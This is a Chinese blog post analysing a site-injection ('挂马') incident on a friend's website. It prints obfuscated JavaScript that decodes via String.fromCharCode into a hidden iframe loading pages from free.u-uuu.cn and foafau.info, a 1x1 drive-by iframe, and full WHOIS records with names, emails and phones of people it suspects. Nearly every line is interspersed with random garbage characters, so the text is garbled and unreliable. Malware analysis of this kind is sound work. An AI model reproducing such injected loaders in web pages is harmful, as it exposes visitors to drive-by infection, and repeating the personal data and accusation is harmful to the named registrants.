首发在我的博客里面，
O|o pNr jU~
! *] http://www.areway.cn/?p=175 kDAPT_Gid ^x8yW b rE 9 -\.|5;: 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
f,ajo
XANPI| <script>t=’60,105,102,114,97,109,101,
df=G}M( 32,115,114,99,61,104,116,116,112,58,47,47,
mT@8( 102,114,101,101,46,117,45,117,117,117,46,99,
dy^Zlu`
f 110,47,101,114,114,111,114,46,104,116,109,
'+6S kZ 32,119,105,100,116,104,61,49,48,48,32,104,
6 tC0F= 101,105,103,104,116,61,48,62,60,47,105,102,
Lc< v4Bp 114,97,109,101,62′;
TmZ%
;TN t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
`@$qy&AJ &&/2oP+z <script>t=’60,105,102,114,97,109,101,32,115,
Y Y\$lM 114,99,61,104,116,116,112,58,47,47,102,114,
k?%? EsR 101,101,46,117,45,117,117,117,46,99,110,47,
2m]C mdV^ 101,114,114,111,114,46,104,116,109,32,119,
+}eG CZra
105,100,116,104,61,49,48,48,32,104,101,105,
D p)5u@I 103,104,116,61,48,62,60,47,105,102,114,97,
<6_R WtU 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
\>b
: document.write(t);</script>
9Z bT41 .DzFt c <html xmlns=”
z?NMQ8l|:6 http://www.w3.org/1999/xhtml S${n:e0\ “>
B:-qUuS?R <head>
KCE5Z?k <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
F|,_k %QP <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
r5h+_&v,M <title>首页 - 爱生活家庭网
A2fc_A/a lr> P/W\ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
p ~/ 转换字符串后的大概内容是（谁点击后果自付）：
s4RqY*VK <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
'<}N`PS#N f,Z* o 查询玉米u-uuu.cn的详细信息：
8F?6Aq1B Domain Name: u-uuu.cn
op\'T;xIu ROID: 20070901s10001s64972306-cn
) =KD Domain Status: ok
T1\LS*~! Registrant Organization: 王雷
h!k[]bt5 Registrant Name: 王雷
rD"$,-h Administrative Email:
czlovexs@126.com k/ 6Qwb # Sponsoring Registrar: 北京万网志成科技有限公司
rb"J{^ Name Server:ns.yovole.com
TuF;>{~} Name Server:ns1.yovole.com
g4Y1*`}2f Registration Date: 2007-09-01 17:54
P2U^ %_~ Expiration Date: 2008-09-01 17:54
3PmM+}j3 最后PING了一下地址 都没有什么….
3sh}( |" j{!Ei 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
V 6DWYs> <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
aYJTSgW <script language=”javascript” src=”
v:$Ka@v6 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Y ( a0*fh >
O)bc8DyI 这个玉米应该有可能是木马作者的：
Y@jO #6R foafau.info的详细信息：
e}xx4mYo Access to INFO WHOIS information is provided to assist persons in
SauX C determining the contents of a domain name registration record in the
8h,>f#)0c Afilias registry database. The data in this record is provided by
0Yzm\"Ggv Afilias Limited for informational purposes only, and Afilias does not
<$ " guarantee its accuracy. This service is intended only for query-based
?@*hU2MTC access. You agree that you will use this data only for lawful purposes
0bl?dOV{ and that, under no circumstances will you use this data to: (a) allow,
%< ^IAMkp enable, or otherwise support the transmission by e-mail, telephone, or
uWtj?Q+M| facsimile of mass unsolicited, commercial advertising or solicitations
#N?VbDK9_ to entities other than the data recipient’s own existing customers; or
|\# ~ (b) enable high volume, automated, electronic processes that send
)#(6J queries or data to the systems of Registry Operator, a Registrar, or
4p}?QR>tZ Afilias except as reasonably necessary to register domain names or
>/BMA;` modify existing registrations. All rights reserved. Afilias reserves
iE6?Px9] the right to modify these terms at any time. By submitting this query,
!_yWe you agree to abide by this policy.
?:sk [f6 Domain ID:D22418703-LRMS
%0y_WIjz Domain Name:FOAFAU.INFO
H.Q648A"PF Created On:20-Nov-2007 16:05:42 UTC
efT@A}sV Last Updated On:20-Nov-2007 16:05:44 UTC
Z9)-kRQz=r Expiration Date:20-Nov-2008 16:05:42 UTC
n|p(Cb#G Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
*eF'<._[U Status:CLIENT DELETE PROHIBITED
v,[E*q MN Status:CLIENT RENEW PROHIBITED
~x-"? K Status:CLIENT TRANSFER PROHIBITED
Ha)Vf +W Status:CLIENT UPDATE PROHIBITED
_
SuW86 Status:TRANSFER PROHIBITED
e|-%-juI Registrant ID:GODA-040110615
-eQ>3x&3r Registrant Name:liu hong
-/g<A~+i]$ Registrant Organization:
K Y=$RO Registrant Street1:beijing
# n_ gry!5 Registrant Street2:
p.ks
jD Registrant Street3:
L2Vj2o"x? Registrant City:beijing
+lhjz*0 Registrant State/Province:
\ cr)O ^& Registrant Postal Code:100000
>d9b"T Registrant Country:CN
@'> Ul!.] Registrant Phone:+86.860108888777
A!:R1tTR;S Registrant Phone Ext.:
|uIgZ|7[ Registrant FAX:
K_Q-9 j Registrant FAX Ext.:
EK%J%NY Registrant Email:bbbshiji@163.com
F*Y]^9] Admin ID:GODA-240110615
1_B;r 9x Admin Name:liu hong
*-vH64e Admin Organization:
JYK 4/gJ Admin Street1:beijing
<9/?+) Admin Street2:
%_L~"E 2e Admin Street3:
}~+q S` Admin City:beijing
8+n *S $ Admin State/Province:
kZ K1{ Admin Postal Code:100000
)4;$;a1 Admin Country:CN
2)\g IMt% Admin Phone:+86.860108888777
H?4t\p SS Admin Phone Ext.:
aInh? - Admin FAX:
uE ^uP@d Admin FAX Ext.:
qCI 0[U@ Admin Email:bbbshiji@163.com
.P(A x:g Billing ID:GODA-340110615
#PGpB5vnaA Billing Name:liu hong
V2B:
DIpr Billing Organization:
xFj<KvV[ Billing Street1:beijing
sHPK8Wsg Billing Street2:
m5%E1k$= Billing Street3:
m4@Lml+B, Billing City:beijing
\ ^3cNw Billing State/Province:
!E~czC\p6 Billing Postal Code:100000
q71V]! Billing Country:CN
3|
F\a|N Billing Phone:+86.860108888777
tpn.\z% Billing Phone Ext.:
[l *;+N+ Billing FAX:
xxZO{ _q Billing FAX Ext.:
c9ea%7o{0a Billing Email:bbbshiji@163.com
reb WXz7 Tech ID:GODA-140110615
q!as~{! Tech Name:liu hong
M=sGPPj Tech Organization:
^5Ob( FvU Tech Street1:beijing
H03R?S9AQ Tech Street2:
>f:OU," Tech Street3:
'R
nvQ"" Tech City:beijing
R, 8460e7 Tech State/Province:
3Lm7{s?=Z- Tech Postal Code:100000
3a ?dNwM@ Tech Country:CN
mc|8t0+1` Tech Phone:+86.860108888777
]owcx=5q%' Tech Phone Ext.:
,D93 A Tech FAX:
Gxw>.O){ Tech FAX Ext.:
%T DY &@i= Tech Email:bbbshiji@163.com
|HQF qa < Name Server:NS27.DOMAINCONTROL.COM
`C)|}qcC Name Server:NS28.DOMAINCONTROL.COM
VX'G\Zz@h| Name Server:
vPET'Bf(YV Name Server:
4E p6vm X Name Server:
| D~#9 Name Server:
X-F:)/ $xG Name Server:
yC9~X='D Name Server:
RX ,c 4; Name Server:
c{\x< Aw O Name Server:
g)=-%n'RoE Name Server:
im@c|| Name Server:
,Ad{k Name Server:
f"d4HZD^ GQ1m
h*4$ 接着下载每个文件里面的代码：
O/lu0acI 一步一步看..
wiM-TFT~ 
t ybM3VA 
3bR 6Y[ 
'ExTnv ~ 
WbHI>tt 
{AO`[ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
